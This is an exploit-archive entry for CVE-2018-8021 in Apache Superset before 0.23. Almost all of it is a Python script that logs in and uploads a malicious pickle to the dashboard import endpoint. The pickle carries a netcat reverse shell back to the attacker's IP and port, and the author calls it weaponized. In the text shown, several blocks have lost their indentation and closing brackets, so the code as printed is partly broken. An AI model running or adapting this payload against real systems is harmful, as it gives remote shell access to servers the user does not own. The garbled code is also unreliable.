Apache Superset 0.23 Remote Code Execution

Apache Superset version 0.23 suffers from a remote code execution vulnerability.

MD5 | 305275d8190fc1d2cd63df2160eca91c

# Exploit Title: Apache Superset 0.23 - Remote Code Execution
# Date: 2018-05-17
# Exploit Author: David May ([email protected])
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021

# I originally disclosed this to the Apache Superset team back in May, and the fix had already been
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.

#!/usr/bin/env python

import sys
import os
from lxml import html
import requests

# Change these values to your TCP listener
myIP = ''
myPort = '8888'
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username = 'test'
password = 'test'

# Logic in case script arguments are not given
if len(sys.argv) < 3:
print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
print('Script Usage:')
print('./supersetrce.py <superset server ip> <superset port>')

# Script arguments
supersetIP = sys.argv[1]
supersetPort = sys.argv[2]
# Verify these URLs match your environment
login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'

# Checks to see if file that we are going to write already exists in case this is run more than once
if os.path.isfile('evil.pickle'):

# Headers that we append to our POST requests
headers_dict = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',

# Creates evil pickle file and writes the reverse shell to it
evilPickle = open('evil.pickle','w+')
evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')

# Start a session so we have persistent cookies
session = requests.session()

# Grabs the Login page to parse it for its CSRF token
login_page = session.get(login_URL)
if login_page.status_code != 200:
print('Login page not reached, verify URLs in script')
login_tree = html.fromstring(login_page.content)
csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')

# Form data that is sent in the POST request to Login page
login_data = {
'csrf_token' : csrf_token,
'username' : username,
'password' : password,

# Adds the Referer header for the login page
headers_dict['Referer'] = login_URL

# Logon action
login = session.post(login_URL, headers=headers_dict, data=login_data)

# Grabs the Upload page to parse it for its CSRF token
upload_page = session.get(upload_URL)
if upload_page.status_code != 200:
print('Upload page not reached, verify credentials and URLs in script')
upload_tree = html.fromstring(upload_page.content)
csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')

# Adds the Referer header for the Upload page
headers_dict['Referer'] = upload_URL

# Upload action
upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})

# Closes the session

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